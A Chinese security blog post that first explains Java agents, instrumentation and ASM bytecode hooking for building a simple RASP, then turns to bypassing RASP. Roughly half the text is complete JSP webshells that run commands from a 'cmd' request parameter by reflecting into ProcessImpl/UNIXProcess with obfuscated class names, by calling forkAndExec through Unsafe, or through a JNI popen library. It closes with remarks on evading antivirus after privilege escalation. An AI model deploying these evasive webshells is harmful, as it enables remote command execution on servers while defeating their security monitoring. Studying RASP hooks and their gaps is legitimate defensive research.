RASP 尝鲜
date
Jun 17, 2022
slug
RASP-try-use
status
Published
tags
Java安全
安全研究
summary
尝试一下RASP是怎么使用的
type
Post
Java Agent
首先需要了解instrument 这个东西,这东西允许JVM在加载某个 class 文件之前对其字节码进行修改,同时也支持对已加载的 class (类字节码)进行重新加载( Retransform )。
在
java.lang.instrument
包里面,存在这几个类,这几个类在Agent方式下都起这重要作用premain使用
环境搭建
先构建一个Agent类,注意这里的inst 是一个 java.lang.instrument.Instrumentation 的实例,由 JVM 自动传入。
java.lang.instrument.Instrumentatio
是 instrument
包中定义的一个接口,也是这个包的核心部分,集中了其中几乎所有的功能方法,例如类定义的转换和操作等等。public static void premain(String agentOps, Instrumentation inst) {
System.out.println("=======this is agent premain function=======");
}
将其使用maven打包为jar文件,
pom.xml
文件中build
的内容为<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-jar-plugin</artifactId>
<version>3.0.2</version>
<configuration>
<archive>
<manifest>
<addClasspath>true</addClasspath>
</manifest>
<manifestEntries>
<Premain-Class>
cn.org.javaweb.test.Agent
</Premain-Class>
<can-redefine-classes>
true
</can-redefine-classes>
</manifestEntries>
</archive>
</configuration>
</plugin>
</plugins>
打包之后可以看到这个jar里面的
MATE-INF
目录下的MANIFEST.MF
会有这样的声明,将它命名为agent.jar
其中
Premain-Class
是比较重要的一个属性,说明起到Agent作用的是com.test.Agent
这个类再创建一个测试类
package com.test;
public class TestAgent {
public static void main(String[] args) {
System.out.println("this is a test program");
}
}
pom文件里面的build内容如下:
<plugins>
<plugin>
<artifactId>maven-shade-plugin</artifactId>
<groupId>org.apache.maven.plugins</groupId>
<version>1.3.1</version>
<executions>
<execution>
<phase>package</phase>
<goals>
<goal>shade</goal>
</goals>
<configuration>
<transformers>
<transformer
implementation="org.apache.maven.plugins.shade.resource.ManifestResourceTransformer">
<mainClass>com.test.TestAgent</mainClass>
</transformer>
</transformers>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
然后
mvn clean install
打包将其命名为test.jar
,这个test.jar
是可以启动的那
agent.jar
又有何作用?怎么去使用agent.jar
我们需要通过
javaagent:
来引入agent.jar
java -javaagent:agent.jar -jar test.jar
可以观察到在执行test.jar里面的内容之前
agent.jar
也执行了那么这整一个流程是怎样的?
流程关系
通过启动命令添加
-javaagent:xxx.jar
的时候,JVM会去xxx.jar
中找其中Premain-Class
,也就是在MANIFEST.MF
中声明的com.test.Agent
这个类中的public static void premain(String agentOps, Instrumentation instrumentation)
或者public static void premain(String agentOps)
方法iiusky师傅的这个图很好解释了这个流程
如果
premain
函数的需要agentOps参数的话,可以参考下图,直接使用=
传入相关字符串instrumentation参数
上面的测试流程只测试了premain方法的流程,但是instrumentation参数,并没有使用起来,前面知道java.lang.instrument.Instrumentation 的实例,由 JVM 自动传入,这个是个接口实例,而且存在多个需要实现的接口
比较多的是关于Transformer的操作方法,关键是
addTransformer
方法 ,iiusky师傅也总结得比较详细了,这里放个图这个
addTransformer
方法里面的ClassFileTransformer
是需要我们自己去实现的这些参数的意义如下:
ClassLoader loader ----> 这个没什么解释的,就是classloader
String className ----> 包名(jvm中包名是/而不是.)
Class<?> classBeingRedefined ----> 如果是被重定义或重转换触发,则为重定义或重转换的类;如果是类加载,则为 null
ProtectionDomain protectionDomain ----> 保护域
byte[] classfileBuffer ----> 二进制字节码
具体使用起来是这样的:
新建一个初始化实现
ClassFileTransformer
接口的类,重写里面的transform方法,注意这里识别的类名是JVM类名的书写方式路径方式 ,比如:java/lang/String
,而不是我们常用的类名方式:java.lang.String
,所以一般需要转换一下才是我们可以识别的类,如果要修改这个类里面的内容的话,一般还会对classfileBuffer
进行操作,一般使用ASM或者Javaassist进行操作package com.test;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
public class TestTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
// return new byte[0];
// 将常用的类名转换为我们认识的格式
className = className.replace("/", ".");
//打印所有经过处理的类
System.out.println(className);
//遇到com.test.TestAgent 打印相关内容,如果想修改类里面的相关内容,还需要classfileBuffer操作
if(className.equals("com.test.TestAgent")){
System.out.println("hook TestAgent Now!!!");
}
return classfileBuffer;
}
}
然后在Agent类里面注册我们的transformer
package com.test;
import java.lang.instrument.Instrumentation;
public class Agent {
public static void premain(String agentOps, Instrumentation inst) {
System.out.println("=======this is agent premain function=======");
inst.addTransformer(new TestTransformer());
}
}
重新打包,运行,效果如下,使用了transform以后,可以对jvm中的未加载的类进行重写。已经加载过的类可以使用retransform去进行重写
RASP尝试
根据上面的知识点进一步操作,使用ASM对具体内容进行操作,这个东西的关键是存在一个ClassVisitor接口,定义了一系列的visit方法,一般的操作就是重写这些方法来符合我们的需求
借鉴了iiusky师傅的项目进行了修改,主要改的是这两个文件,触发的功能是在main函数前面新增执行语句
cn/org/javaweb/test/TestInsert
类下面的hello方法/*
* Copyright sky 2018-11-29 Email:[email protected].
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package cn.org.javaweb.test;
import org.objectweb.asm.ClassVisitor;
import org.objectweb.asm.MethodVisitor;
import org.objectweb.asm.Opcodes;
/**
* @author sky
*/
public class TestClassAdapter extends ClassVisitor implements Opcodes {
public TestClassAdapter(ClassVisitor classVisitor) {
super(Opcodes.ASM5, classVisitor);
}
/**
* @param access
* @param methodName 方法名
* @param argTypeDesc 方法描述符
* @param signature
* @param exceptions
* @return
*/
@Override
public MethodVisitor visitMethod(int access, String methodName, String argTypeDesc,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, methodName, argTypeDesc, signature, exceptions);
//判断方法名,为了保证唯一性,真正使用时还需要判断方法描述符是否一致
if ("main".equals(methodName)) {
System.out.println(methodName + "方法的描述符是:" + argTypeDesc);
// System.out.println("methodName is :" + methodName);
//
return new MethodVisitor(api, mv) {
@Override
public void visitCode() {
mv.visitFieldInsn(GETSTATIC, "java/lang/System", "out", "Ljava/io/PrintStream;");
mv.visitIntInsn(BIPUSH, 8);
mv.visitMethodInsn(INVOKESTATIC, "cn/org/javaweb/test/TestInsert", "hello", "(I)I", false);
mv.visitMethodInsn(INVOKEVIRTUAL, "java/io/PrintStream", "println", "(I)V", false);
super.visitCode();
}
};
}
return mv;
}
}
TestTransofrmer需要实例化上面的ASM操作:
/*
* Copyright sky 2018-11-20 Email:[email protected].
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package cn.org.javaweb.test;
import org.objectweb.asm.ClassReader;
import org.objectweb.asm.ClassVisitor;
import org.objectweb.asm.ClassWriter;
import java.io.ByteArrayInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
/**
* @author sky
*/
public class TestTransformer implements ClassFileTransformer {
/**
* 注册一个自定义的transform
*
* @param loader class loader
* @param className 类名
* @param classBeingRedefined
* @param protectionDomain
* @param classfileBuffer
* @return
* @throws IllegalClassFormatException
*/
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
// asm中的包名格式为 cn/org/javaweb 需要将 / 转为 .
className = className.replace("/", ".");
// System.out.println("当前加载的类为:" + className);
//如果类名中存在javaweb 则使用ClassReader读取字节码,然后在创建一个ClassWriter用于拼接字节码,
// 之后在进入我们自定义的ClassVisitor
if (className.contains("com.test")) {
ClassReader classReader = new ClassReader(classfileBuffer);
ClassWriter classWriter = new ClassWriter(classReader, ClassWriter.COMPUTE_MAXS);
//初始化修改内容的类
ClassVisitor classVisitor = new TestClassAdapter(classWriter);
classReader.accept(classVisitor, ClassReader.EXPAND_FRAMES);
}
return classfileBuffer;
}
}
最后能够正常修改并执行相关内容
再进一步操作可以参考:‣
自己搭建一下玩一下,了解一下这个流程,配置上的一些东西记录一下,agent的那个模块,可以通过新建一个maven
建立好agent的jar包之后,记录生成的路径
然后Web测试模块新建一个Tomcat 服务,然后需要在VM options处加载构建好的jar,后面就可以启动了
-Dfile.encoding=UTF-8
-noverify
-Xbootclasspath/p:/Users/4me/Desktop/vuln_test/java_rasp_example/agent/agent.jar
-javaagent:/Users/4me/Desktop/vuln_test/java_rasp_example/agent/agent.jar
在这个项目里主要是观察
ProcessBuilderHook
这个类,这个类里面类中新建一个名字为start
的静态方法,可以看到功能是打印出我们执行的命令,然后打印出利用的堆栈那是怎么调用这一块的呢,在
cn.org.javaweb.agent.TestClassVisitor#visitMethod
中,先是判断了传入进来的方法名是否为start
以及方法描述符是否为()Ljava/lang/Process;
如果是的话就新建一个AdviceAdapter
方法,并且复写visitCode
方法,对其字节码进行修改,一句句代码来看:
拿到栈顶上的
this
mv.visitVarInsn(ALOAD, 0);
拿到
this
里面的command
mv.visitFieldInsn(GETFIELD, "java/lang/ProcessBuilder", "command", "Ljava/util/List;");
然后调用上面新建的
ProcessBuilderHook
类中的start
方法,将上面拿到的this.command
压入这个方法里面,就进入到我们写的函数逻辑里面了mv.visitMethodInsn(INVOKESTATIC, "cn/org/javaweb/agent/ProcessBuilderHook", "start", "(Ljava/util/List;)V", false);
可以观察一下当我们输入相关命令的时候,终端上会显示hook的内容
这个东西最大感受还是得熟悉ASM的操作,不过Javaassist应该也能起到一样的效果
RASP的缺点:
RASP技术中对底层拦截点不熟悉,可能导致漏掉重要hook点,导致绕过。
绕过RASP一些思路:
从RASP缺点触发,首先是针对命令执行的函数进行更下层的查看
ProcessBuilder
传进去的参数都是数组类型的String
//request.getParameterValues return String[]
InputStream in = new ProcessBuilder(request.getParameterValues("cmd")).start().getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");
UNIXProcess/ProcessImpl
UNIXProcess
和ProcessImpl
可以理解本就是一个东西,因为在JDK9的时候把UNIXProcess
合并到了ProcessImpl
当中了,参考changeset 11315:98eb910c9a97。
只要调用了这个类的构造函数就可以触发命令执行调用
关键代码,按需改造扣代码进行改造就行:
// 反射UNIXProcess/ProcessImpl执行系统命令
// windows下反射ProcessImpl 调用start方法执行系统命令,start方法实质是创建了一个ProcessImpl的实例
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%
String[] cmd = request.getParameterValues("cmd");
if (cmd != null) {
Class<?> clazz = Class.forName("java.lang.ProcessImpl");
Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
method.setAccessible(true);
Process p = (Process) method.invoke(null, cmd, null, ".", null, true);
InputStream in = p.getInputStream();
byte[] b = new byte[1024];
int a = -1;
ByteArrayOutputStream baos = new ByteArrayOutputStream();
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
out.write("<p>" + baos.toString() + "</p>");
}
%>
// windows下反射ProcessImpl新建实例执行系统命令
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%
String[] cmd = request.getParameterValues("cmd");
if (cmd != null) {
Class<?> clazz = Class.forName("java.lang.ProcessImpl");
Constructor<?> constructor = clazz.getDeclaredConstructors()[0];
constructor.setAccessible(true);
Object object = constructor.newInstance(cmd, null, ".", new long[]{0}, true);
}
%>
// 类unix下反射UNIXProcess/ProcessImpl构造实例执行系统命令
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.*" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Method" %>
<%!
byte[] toCString(String s) {
if (s == null) {
return null;
}
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0, result, 0, bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
InputStream start(String[] strs) throws Exception {
// java.lang.UNIXProcess
String unixClass = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 85, 78, 73, 88, 80, 114, 111, 99, 101, 115, 115});
// java.lang.ProcessImpl
String processClass = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 80, 114, 111, 99, 101, 115, 115, 73, 109, 112, 108});
Class clazz = null;
// 反射创建UNIXProcess或者ProcessImpl
try {
clazz = Class.forName(unixClass);
} catch (ClassNotFoundException e) {
clazz = Class.forName(processClass);
}
// 获取UNIXProcess或者ProcessImpl的构造方法
Constructor<?> constructor = clazz.getDeclaredConstructors()[0];
constructor.setAccessible(true);
assert strs != null && strs.length > 0;
// Convert arguments to a contiguous block; it's easier to do
// memory management in Java than in C.
byte[][] args = new byte[strs.length - 1][];
int size = args.length; // For added NUL bytes
for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
// No need to write NUL bytes explicitly
}
int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
FileInputStream f0 = null;
FileOutputStream f1 = null;
FileOutputStream f2 = null;
// In theory, close() can throw IOException
// (although it is rather unlikely to happen here)
try {
if (f0 != null) f0.close();
} finally {
try {
if (f1 != null) f1.close();
} finally {
if (f2 != null) f2.close();
}
}
// 创建UNIXProcess或者ProcessImpl实例
Object object = constructor.newInstance(
toCString(strs[0]), argBlock, args.length,
null, envc[0], null, std_fds, false
);
// 获取命令执行的InputStream
Method inMethod = object.getClass().getDeclaredMethod("getInputStream");
inMethod.setAccessible(true);
return (InputStream) inMethod.invoke(object);
}
String inputStreamToString(InputStream in, String charset) throws IOException {
try {
if (charset == null) {
charset = "UTF-8";
}
ByteArrayOutputStream out = new ByteArrayOutputStream();
int a = 0;
byte[] b = new byte[1024];
while ((a = in.read(b)) != -1) {
out.write(b, 0, a);
}
return new String(out.toByteArray());
} catch (IOException e) {
throw e;
} finally {
if (in != null)
in.close();
}
}
%>
<%
String[] str = request.getParameterValues("cmd");
if (str != null) {
InputStream in = start(str);
String result = inputStreamToString(in, "UTF-8");
out.println("<pre>");
out.println(result);
out.println("</pre>");
out.flush();
out.close();
}
%>
forkAndExec命令执行-Unsafe+反射+Native方法调用
这个方法是上一个方法的绕过,主要是应对
UNIXProcess
或者是 ProcessImpl
的构造方法被Hook的情况,主要流程如下:1.使用sun.misc.Unsafe.allocateInstance(Class)
特性可以无需new
或者newInstance
创建UNIXProcess/ProcessImpl
类对象 2.反射UNIXProcess/ProcessImpl
类的forkAndExec
方法 3.构造forkAndExec
需要的参数并调用 4.反射UNIXProcess/ProcessImpl
类的initStreams
方法初始化输入输出结果流对象 5.反射UNIXProcess/ProcessImpl
类的getInputStream
方法获取本地命令执行结果(如果要输出流、异常流反射对应方法即可)
关键代码:
// 类Unix下
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="sun.misc.Unsafe" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.lang.reflect.Method" %>
<%!
byte[] toCString(String s) {
if (s == null)
return null;
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
%>
<%
String[] strs = request.getParameterValues("cmd");
if (strs != null) {
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
Class processClass = null;
try {
processClass = Class.forName("java.lang.UNIXProcess");
} catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl");
}
Object processObject = unsafe.allocateInstance(processClass);
// Convert arguments to a contiguous block; it's easier to do
// memory management in Java than in C.
byte[][] args = new byte[strs.length - 1][];
int size = args.length; // For added NUL bytes
for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
// No need to write NUL bytes explicitly
}
int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
Field helperpathField = processClass.getDeclaredField("helperpath");
launchMechanismField.setAccessible(true);
helperpathField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", new Class[]{
int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class
});
forkMethod.setAccessible(true);// 设置访问权限
int pid = (int) forkMethod.invoke(processObject, new Object[]{
ordinal + 1, helperpathObject, toCString(strs[0]), argBlock, args.length,
null, envc[0], null, std_fds, false
});
// 初始化命令执行结果,将本地命令执行的输出流转换为程序执行结果的输出流
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds);
// 获取本地执行结果的输入流
Method getInputStreamMethod = processClass.getMethod("getInputStream");
getInputStreamMethod.setAccessible(true);
InputStream in = (InputStream) getInputStreamMethod.invoke(processObject);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
int a = 0;
byte[] b = new byte[1024];
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
out.println("<pre>");
out.println(baos.toString());
out.println("</pre>");
out.flush();
out.close();
}
%>
JNI绕过
这种情况更加底层了,JNI的全称叫做(Java Native Interface),其作用就是让我们的Java程序去调用C的程序。实际上调用的并不是exe程序,而是编译好的dll动态链接库里面封装的方法。因为Java是基于C语言去实现的,Java底层很多也会去使用JNI,也就是对应一些代码里面的
native
关键字声明的函数这个东西怎么玩?
- 先定义一个native修饰的方法
package test;
public class CalcExec {
public native int sum(int num1 , int num2);
}
- 编译并生成相关头文件(注意处理的时候所在的路径),这个还需要注意JDK版本,如果JDK版本大于10就不是这样操作了
javac -cp . test/CalcExec.java
javah -d test/ -cp . test.CalcExec
此时会生成一个
test_CalcExec.h
,这个名字test
代表包名,CalcExec
代表了这个类名/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class test_CalcExec */
#ifndef _Included_test_CalcExec
#define _Included_test_CalcExec
#ifdef __cplusplus
extern "C" {
#endif
/*
* Class: test_CalcExec
* Method: sum
* Signature: (II)I
*/
JNIEXPORT jint JNICALL Java_test_CalcExec_sum
(JNIEnv *, jobject, jint, jint);
#ifdef __cplusplus
}
#endif
#endif
当然这里面的内容也是有规则的
Java_
是固定的前缀,而test_CalcExec_sum
也就代表着Java的完整包名称:test.CalcExec
,_exec
自然是表示的方法名称了。(JNIEnv *, jobject, jint, jint)
表示分别是JNI环境变量对象
、java调用的类对象
、参数入参类型
还有一个注意点:
Java和JNI定义的类型是需要转换的,不能直接使用Java里的类型,也不能直接将JNI、C/C++的类型直接返回给Java
- 根据对应头文件新建cpp,
test_CalcExec.cpp
,然后在里面include创建出来的头部
#include <iostream>
#include <stdlib.h>
#include <cstring>
#include <string>
#include <iostream>
#include <stdlib.h>
#include <cstring>
#include <string>
#include "test_CalcExec.h"
using namespace std;
JNIEXPORT jint
JNICALL Java_test_CalcExec_sum
(JNIEnv *, jobject, jint num1, jint num2) {
return num1+num2;
}
- 编译成动态链接库,分不同环境进行编译(记录一下 🐶)
MacOSX编译
g++ -fPIC -I"/Library/Java/JavaVirtualMachines/jdk1.8.0_251.jdk/Contents/Home/include" -I"/Library/Java/JavaVirtualMachines/jdk1.8.0_251.jdk/Contents/Home/include/darwin" -shared -o libsum.jnilib test_CalcExec.cpp
linux编译
g++ -fPIC -I"$JAVA_HOME/include" -I"$JAVA_HOME/include/linux" -shared -o libcmd.so com_anbai_sec_cmd_CommandExecution.cpp
⚠️ 当然如果是C语言写的文件,那么我们需要修改一下编译命令为
gcc
windows编译
Windows平台有时候可能会遇到32位还是64位的问题
gcc -I "D:\JAVA_JDK\include" -I "D:\JAVA_JDK\include\win32" -shared -o cmd.dll .\Command.c
- 加载lib进行测试(使用
loadLibrary
或者load
加载)
package test;
public class JNITest {
public static void main(String[] args) {
//这个函数好像不能存在相关的路径分隔符 不然会no xxx in java.library.path的报错
// System.loadLibrary("libcmd");
System.load("/Users/4me/Downloads/springcoffee/source/src/test/java/test/libsum.so");
CalcExec calcExec = new CalcExec();
int sum = calcExec.sum(1, 2);
System.out.println(sum);
// System.out.println(System.getProperty("java.library.path"));
}
}
测试一下加载命令执行效果,整一个native函数
package test;
public class CommandExec {
public static native String exec(String cmd);
}
编译生成头部文件,然后编写相关的cpp文件
#include <iostream>
#include <stdlib.h>
#include <cstring>
#include <string>
#include "test_CommandExec.h"
using namespace std;
JNIEXPORT jstring
JNICALL Java_test_CommandExec_exec
(JNIEnv *env, jclass jclass, jstring str) {
if (str != NULL) {
jboolean jsCopy;
// 将jstring参数转成char指针
const char *cmd = env->GetStringUTFChars(str, &jsCopy);
// 使用popen函数执行系统命令
FILE *fd = popen(cmd, "r");
if (fd != NULL) {
// 返回结果字符串
string result;
// 定义字符串数组
char buf[128];
// 读取popen函数的执行结果
while (fgets(buf, sizeof(buf), fd) != NULL) {
// 拼接读取到的结果到result
result +=buf;
}
// 关闭popen
pclose(fd);
// 返回命令执行结果给Java
return env->NewStringUTF(result.c_str());
}
}
return NULL;
}
测试也是正常的
当然RASP场景跟杀毒软件的检测也极为相似,也是通过hook某个点进行判断,有大哥也写过文章描述过:https://payloads.online/archivers/2022-08-11/1/
文章里面提及到的还是使用dll(或者是非cmd.exe系列的二进制文件)进行一个加载操作,然后执行相关系统命令,此时就不会进入到杀毒软件的黑名单里面,但需要注意的是一些tomato系列的提权软件,在提权成功之后会执行一次
CreateProcessWithToken
和CreateProcessAsUser
,容易导致杀毒检测,所以还是需要进一步去隐藏这一个执行流程。作者总结了流程图:主要参考了这几篇文章: